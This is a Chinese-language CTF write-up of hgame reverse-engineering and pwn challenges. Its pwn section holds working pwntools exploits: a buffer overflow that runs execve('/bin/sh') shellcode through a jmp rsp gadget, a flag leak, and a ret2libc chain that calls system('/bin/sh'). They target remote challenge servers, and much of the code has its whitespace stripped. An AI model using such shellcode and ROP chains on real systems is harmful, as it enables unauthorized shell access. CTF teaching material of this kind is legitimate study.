海达汽车网

ATOLLTEMP灯什么意思

原创Nepents合天智汇

##RE

###maze

这个题目从题目名上可以知道是一个迷宫题目,迷宫题目主要把握住迷宫地图,方向键还有起点终点就好。ida打开

while((signedint)v4<SHIDWORD(v4))\n{\nv3=input[(signedint)v4];\nif(v3=='d')\n{\nlocal+=4;\n}\nelseif(v3>100)\n{\nif(v3=='s')\n{\nlocal+=64;\n}\nelse\n{\nif(v3!='w')\n{\nLABEL_12:\nputs("Illegalinput!");\nexit(0);\n}\nlocal-=64;\n}\n}\nelse\n{\nif(v3!='a')\ngotoLABEL_12;\nlocal-=4;\n}\nif(local<(char*)&unk_602080||local>(char*)&unk_60247C||*(_DWORD*)local&1)\ngotoLABEL_22;\nLODWORD(v4)=v4+1;\n}

从中可以确定方向键为awds,确定了起点终点,但是每次走的步数不太一样,因为按理说步数应该是1但是这里确实4。

先复制出地图,64字节为一行

01010101010000010100010001000001010001010100010101010100010001000101010101000101010000000100010001000001010000010100010001000001010101000001000001010001010101000101010101010100010000000100000101000101010100010101010001000101010100010101010001010001010101000100010100000101010001010101000101000100010101000101010001010100010101000101000101000000010001000101010001010001010101000100010001000100000001010101010101010100010001010100010101000101010001000100000001010001010101010101010001010101010001000101010101010100010100010001010001010101010000010101010101010101010001000100010101010100010000010101010101000101010000010101010001000001010000010101010000000101000001000001010000010000000101010001000000000001010001010100000001000001010000010100010101000000010100010100010001000100010000000101010101000100010100010100010101010100000001000101010001000000010000010100010001000101010000000101010001010101010101000100000001000100010001000100010101010001010000000001010001000101010001010101000101000000010101010101010001010100010101010100000001000101010000010100000001000000010000010100000000000100010000010001010000010101000001000000010101010101010001010100000101010001010101000101000101000000010001010100000001010001000001000101010000010000010001010101010000000000010001000101000101000100010000010100010101010100010100010100010001010100010101010001000000010100000101010101010001010101000000010100010001010001010000000101010101000001010000000100010101010100010001010100010001000001010001000101010001010001010000010001010001010101010001010101010001010100010000010100000001000001010000000100000101010001010001010101000101000000010000010100000000010000000100000100010101000000010001000100010101000000010101010101010001000101010000010100000001000000010001000101010101000001010101000001010101010101010001000100010101000001010101000101010101000000010101010101000101000100010101010100010101000101010000010100000000000000000101000001010101010100010101000101010001000100010101000100000101010001010101000100010101000001010001010101010101010101010001000101010101010001

由于左右移位数为4,那么地图有些就是用不上的,可以每隔一行去掉三行。经过精简后的地图如下。

0101010101010101010101010101010101|00|0101010101010101010101010101010001010101010101010101010101010100010101010101010101010101010101000101010101010101010101010101010000000000000001010101010101010101010101010100010101010101010101010101010101000101010101010101010101010101010001000000000101010101010101010100010001010001010101010101010101000000010100010101010101010101010101010101000101010101010101010101010101010000010101010101010101010101010101000101010101010101010101010101010000|00|01010101010101010101010101010101

起点和终点已经标出来,

可以得到flag:

hgame{ssssddddddsssssddwwdddssssdssdd}

###bitwise_operation2

输入先把hgame{}切割掉,经过check_number函数,该函数主要是合并数字,比如输入一个0F,那么在内存中显示为ascii,即3066,该函数即在内存中存储,0F.然后经过异或运算。

if(strlen(input)==39\n&&input[0]=='h'\n&&input[1]=='g'\n&&input[2]=='a'\n&&input[3]=='m'\n&&input[4]=='e&&input[5]=='{'&&input[38]=='}'){left=0LL;v8=0;right=0LL;v10=0;check_number((__int64)&left,(__int64)&input[6]);check_number((__int64)&right,(__int64)&input[22]);for(i=0;i<=7;++i){*((_BYTE*)&left+i)=((*((_BYTE*)&left+i)&0xE0)>>5)|8**((_BYTE*)&left+i);//循环左移三位*((_BYTE*)&left+i)=*((_BYTE*)&left+i)&0x55^((*((_BYTE*)&right+7-i)&0xAA)>>1)|*((_BYTE*)&left+i)&0xAA;*((_BYTE*)&right+7-i)=2*(*((_BYTE*)&left+i)&0x55)^*((_BYTE*)&right+7-i)&0xAA|*((_BYTE*)&right+7-i)&0x55;*((_BYTE*)&left+i)=*((_BYTE*)&left+i)&0x55^((*((_BYTE*)&right+7-i)&0xAA)>>1)|*((_BYTE*)&left+i)&0xAA;}for(j=0;j<=7;++j){*((_BYTE*)&left+j)^=key[j];if(*((_BYTE*)&left+j)!=byte_602050[j]){puts("sry,wrongflag");exit(0);}}for(k=0;k<=7;++k){*((_BYTE*)&right+k)^=*((_BYTE*)&left+k)^key[k];if(*((_BYTE*)&right+k)!=byte_602060[k]){puts("Justonelaststep");exit(0);}}puts("Congratulations!Youarealreadyfamiliarwithbitwiseoperation.");

看起来每次运算只涉及对称的两个字节,想爆破,出不来,只能安心写逆算法。

#!/usr/bin/python\n#coding:utf-8\nleft_string="e4sy_Re_"\nright_string="Easylif3"\nkey=[0x4C,0x3C,0xD6,0x36,0x50,0x88,0x20,0xCC]\n\n#left=[0x5C,0xC2,0xBE,0x9A,0xD3,0xC6,0x6F,0xBC]\n#right=[0xEB,0x82,0xD6,0xB1,0xAF,0xC1,0x2C,0x0F]\nleft=[]\nright=[]\nforiinrange(8):\nleft.append(ord(left_string[i])^key[i])\nright.append(ord(right_string[i])^left[i])\n\nright=right[::-1]\nflag1=[]\nflag2=[]\n\ndefcircular_shift_left(int_value,k,bit=8):\n\nbit_string='{:0%db}'%bit\n\nbin_value=bit_string.format(int_value)#8bitbinary\n\nbin_value=bin_value[k:]+bin_value[:k]\n\nint_value=int(bin_value,2)\n\nreturnint_value\n\ndeftoStr(num,base):\nconvertString="0123456789ABCDEF"#最大转换为16进制\nifnum<base:\nreturnconvertString[num]\nelse:\nreturntoStr(num//base,base)+convertString[num%base]\n\nforiinrange(8):\nleft_q_a=left[i]&0xaa\nleft_xor=left[i]&0x55\n\nright_xor=right[i]&0xaa\nright_q_5=right[i]&0x55\n\nleft_q_5=left_xor^((right[i]&0xaa)>>1)\n\nleft_temp=left_q_5|left_q_a\nright_q_a=(((left_temp&0x55)<<1)^right_xor)\nright_temp=right_q_5|right_q_a\n\nflag2.append(right_temp)\nleft_q_a_2=left_temp&0xaa\nleft_xor_2=left_temp&0x55\nleft_q_5_2=((right_temp&0xaa)>>1)^left_xor_2\n\nleft_temp_2=left_q_5_2|left_q_a_2\nleft_temp_2=circular_shift_left(left_temp_2,5,8)\nflag1.append(left_temp_2)\n\nflag2=flag2[::-1]\n\nforiinrange(8):\nprinttoStr(flag1[i],16).lower()\nforiinrange(8):\nprinttoStr(flag2[i],16).lower()

得到flag:

hgame{0f233e63637982d266cbf41ecb1b0102}

###advance

就一个改变符号表的base64flag:

hgame{b45e6a_i5_50_eazy_6VVSQ}

###cpp

题目主要思路是输入按_切割,然后经过矩阵相乘,再跟一个矩阵对比。

for(i=6i64;;i=v11+1)//按_切割\n{\nLOBYTE(v0)='_';\nv11=sub_7FF735394060(&input,v0,i);//返回_位置\nif(v11==-1)break;v16=sub_7FF7353943B0(&input,&v40,i,v11-i);v17=v16;v1=ret_value(v16);v18=atoll(v1);sub_7FF735394350(&v14,&v18);sub_7FF735392FA0(&v40);}v19=sub_7FF7353943B0(&input,&v41,i,61-i);v20=v19;v2=ret_value(v19);v21=atoll(v2);sub_7FF735394350(&v14,&v21);sub_7FF735392FA0(&v41);v31='hg';v32='am';v33='e';v34='re';v35='is';v36='so';v37='so';v38='ea';v39='sy';v22=1i64;v23=0i64;v24=1i64;v25=0i64;v26=1i64;v27=1i64;v28=1i64;v29=2i64;v30=2i64;for(j=0i64;j<3;++j){for(k=0i64;k<3;++k){v12=0i64;for(l=0;l<3;++l)v12+=*(&v22+3*l+k)**(_QWORD*)sub_7FF7353931E0(&v14,l+3*j);if(*(&v31+3*j+k)!=v12){v3=sub_7FF735391900(std::cout,"error");std::basic_ostream<char,std::char_traits<char>>::operator<<(v3,sub_7FF735392830);sub_7FF735393010(&v14);sub_7FF735392FA0(&input);return0i64;}}}v6=sub_7FF735391900(std::cout,"youaregoodatre");

先从内存中复制出已知的两个矩阵。

0x6867,0x616D,0x0065,0x7265,0x6973,0x736F,0x736F,0x6561,0x7379,01,00,01,00,01,01,01,02,02,

9个元素,那么输入的flag也应该为九个元素,也就是需要切割为九个部分。

先假设为

a,b,c,d,e,f,g,h,i

然后和矩阵2相乘再跟矩阵一对比。可以简化为式子

a+c=0x6867b+2*c=0x616Da+b+2*c==0x0065d+f=0x7265e+2*f=0x6973d+e+2*f=0x736Fg+i=0x736Fh+2*i=0x6561g+h+2*i=0x7379

可以用z3来求。

fromz3import*x=Solver()flag=[Int('flag%d'%i)foriinrange(9)]x.add()x.add(flag[0]+flag[2]==0x6867)x.add(flag[1]+2*flag[2]==0x616D)x.add(flag[0]+flag[1]+2*flag[2]==0x0065)x.add(flag[3]+flag[5]==0x7265)x.add(flag[4]+2*flag[5]==0x6973)x.add(flag[3]+flag[4]+2*flag[5]==0x736F)x.add(flag[6]+flag[8]==0x736F)x.add(flag[7]+2*flag[8]==0x6561)x.add(flag[6]+flag[7]+2*flag[8]==0x7379)printx.check()m=x.model()foriinflag:printm[i]

得到flag:

hgame{-24840-78193_51567_2556-26463_26729_3608_-25933_25943}

##PWN

###Hard_AAA

这个存在后门,直接溢出覆盖对比就行。exp

#!/usr/bin/python\n#coding:utf-8\nfrompwnimport*\nfromtimeimport*\nfromLibcSearcherimport*\n\ncontext.log_level="debug"\n\nEXEC_FILE="./ROP_LEVEL0"\nREMOTE_LIBC="./db/libc6_2.24-9ubuntu2.2_amd64.so"\n\ndefmain():\n\nr=remote('47.103.214.163',20000)\nelf=ELF(EXEC_FILE)\n#libc=ELF(REMOTE_LIBC)\n\nr.recvuntil('!')\nraw_input()\nr.send('\\x00'*120+'0O00O0o\\x00O0\\x00')

r.interactive()\n\nif__name__=='__main__':\nmain()

###Number_Killer

这个题目比较有意思。

int__cdeclmain(intargc,constchar**argv,constchar**envp)\n{\n__int64v4[11];//[rsp+0h][rbp-60h]\ninti;//[rsp+5Ch][rbp-4h]\n\nsetvbuf(_bss_start,0LL,2,0LL);\nsetvbuf(stdin,0LL,2,0LL);\nmemset(v4,0,80uLL);\nputs("Let'sPwnmewithnumbers!");\nfor(i=0;i<=19;++i)\nv4[i]=readll();\nreturn0;\n}

该程序先分配80个字节,但是v4是int64类型的,而且复制了20次,那么就会存在数组越界。再看readll函数。

__int64readll()\n{\ncharnptr[8];//[rsp+0h][rbp-20h]\n__int64v2;//[rsp+8h][rbp-18h]\nintv3;//[rsp+10h][rbp-10h]\nintv4;//[rsp+18h][rbp-8h]\ninti;//[rsp+1Ch][rbp-4h]\n\n*(_QWORD*)nptr=0LL;\nv2=0LL;\nv3=0;\nv4=0;\nfor(i=0;read(0,&nptr[i],1uLL)>0&&i<=19&&nptr[i]!=10;++i)\n;\nreturnatoll(nptr);}

最多读取19位,然后变为longlongint变量。还存在有一个gitt函数。

pushrbp\nmovrbp,rsp\njmprsp

可以jmprsp,那么就可以植入shellcode来运行。

还存在一个问题,比如我植入的是下面的shellcode。

#\\x6a\\x42\\x58\\xfe\n#\\xc4\\x48\\x99\\x52\n#\\x48\\xbf\\x2f\\x62\n#\\x69\\x6e\\x2f\\x2f\n#\\x73\\x68\\x57\\x54\n#\\x5e\\x49\\x89\\xd0\n#\\x49\\x89\\xd2\\x0f#\n\\x05

那么就是可能会发送到0xd089495e54576873,这个有符号整形,会变成负数。可以通过发送符号要求的shellcode,这个找起来比较麻烦,所以可以改造一下。

可以插入一些没有意义的指令,比如0x90,但是这个也会变成负数,可以插入5058,即pushrax,poprax,那么就可以绕过刚刚那个限制了。

原先的shellcode

push42h6a42\npoprax58\nincahFEC4\ncqo4899\npushrdx52\nmovrdi,68732F2F6E69622Fh48BF2F62696E2F2F7368\npushrdi57\npushrsp54\npoprsi5e\nmovr8,rdx4989\nd0movr10,rdx4989d2\nsyscall0f5

经过改造之后

pushrax\npoprax\ncqo\npushrdx\npushrax\npoprax\nmovrdi,68732F2F6E69622Fh\npoprax\npushrax\npushrdi\npushrsp\npoprsi\nmovr8,rdx\npushrax\npoprax\npushrax\npoprax\npushrax\npoprax\nmovr10,rdx\nsyscall

还有一个点就是,循环次数也在覆盖范围只能,得先算法他的值,不能改变他的值,不然会出错。然后跳转到gift函数就可以了。

#!/usr/bin/python\n#coding:utf-8\nfrompwnimport*\nfromtimeimport*\nfromLibcSearcherimport*\n\ncontext.log_level="debug"\n\nEXEC_FILE="./Number_Killer"\nREMOTE_LIBC="./db/libc6_2.24-9ubuntu2.2_amd64.so"\n\nr=remote('172.17.0.2',10002)\nelf=ELF(EXEC_FILE)\nlibc=ELF(REMOTE_LIBC)\n\nr.recvuntil("!")\nr.sendline(str(0x505850c4fe58426a))\nr.sendline(str(0x5850529948585058))\nr.sendline(str(0x2f2f6e69622fbf48))\nr.sendline(str(0x495e545758506873))\nr.sendline(str(0x585058505850d089))\nr.sendline(str(0x000000050fd28949))\nr.sendline(str(0))\nr.sendline(str(0))\nr.sendline(str(0))\nr.sendline(str(0))\nr.sendline(str(0))\nr.sendline(str(47244640256))\nr.sendline(str(0x40078D))\nr.sendline(str(0x40078D))\nr.sendline(str(0x505850c4fe58426a))\nr.sendline(str(0x5850529948585058))\nr.sendline(str(0x2f2f6e69622fbf48))\nr.sendline(str(0x495e545758506873))\nr.sendline(str(0x585058505850d089))\nr.sendline(str(0x000000050fd28949))\nr.interactive()

###One_Shot

程序读取flag,然后要求输入name,最大可以输入32个字节,name实际能存储的加上\\x00也就32个字节,然后马上到flag储存的内容,程序还会输出name,那么flag也会跟着一起输出。

#!/usr/bin/python\n#coding:utf-8\nfrompwnimport*\nfromtimeimport*\nfromLibcSearcherimport*\n\ncontext.log_level="debug"\n\nEXEC_FILE="./ROP_LEVEL0"\nREMOTE_LIBC="./db/libc6_2.24-9ubuntu2.2_amd64.so"\n\nr=remote('47.103.214.163',20002)\nelf=ELF(EXEC_FILE)\n#libc=ELF(REMOTE_LIBC)\n\nr.recvuntil('?')\nr.sendline('a'*32)\nr.recvuntil('!')\nr.sendline(str(0x6010E0))\nprintr.recv()

r.interactive()

###ROP_LEVEL0

该题目存在一个溢出点,可以覆盖返回地址先通过puts函数输出read函数的地址,然后通过LibcSearcher匹配到相应的libc版本。再跳回主函数,再次溢出。通过相应的libc版本得到system地址和"/bin/sh"地址,运行system函数getshell。

#!/usr/bin/python\n#coding:utf-8\nfrompwnimport*\nfromtimeimport*\nfromLibcSearcherimport*\n\ncontext.log_level="debug"\n\nEXEC_FILE="./ROP_LEVEL0"\nREMOTE_LIBC="./db/libc6_2.24-9ubuntu2.2_amd64.so"\n\nr=remote('47.103.214.163',20003)\nelf=ELF(EXEC_FILE)\n#libc=ELF(REMOTE_LIBC)\n\nread_got=elf.got['read']\nputs_plt=elf.plt['puts']\n#padding==88\n\nr.recv()\npayload='a'*88\npayload+=p64(0x400753)#poprdi\npayload+=p64(read_got)\npayload+=p64(puts_plt)\npayload+=p64(0x040065C)\nr.sendline(payload)\n\naddr=u64(r.recvn(6).ljust(8,'\\x00'))\nprinthex(addr)\n\nr.recv()\n\nobj=LibcSearcher('read',addr)\nlibc_addr=addr-obj.dump('read')\nsystem_addr=libc_addr+obj.dump('system')\nbin_sh=libc_addr+obj.dump('str_bin_sh')

payload='a'*88\npayload+=p64(0x400753)\npayload+=p64(bin_sh)\npayload+=p64(system_addr)\nraw_input()r.sendline(payload)

r.interactive()

如果想更多系统的学习CTF,可点击文末“阅读原文”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

分享:
扫描分享到社交APP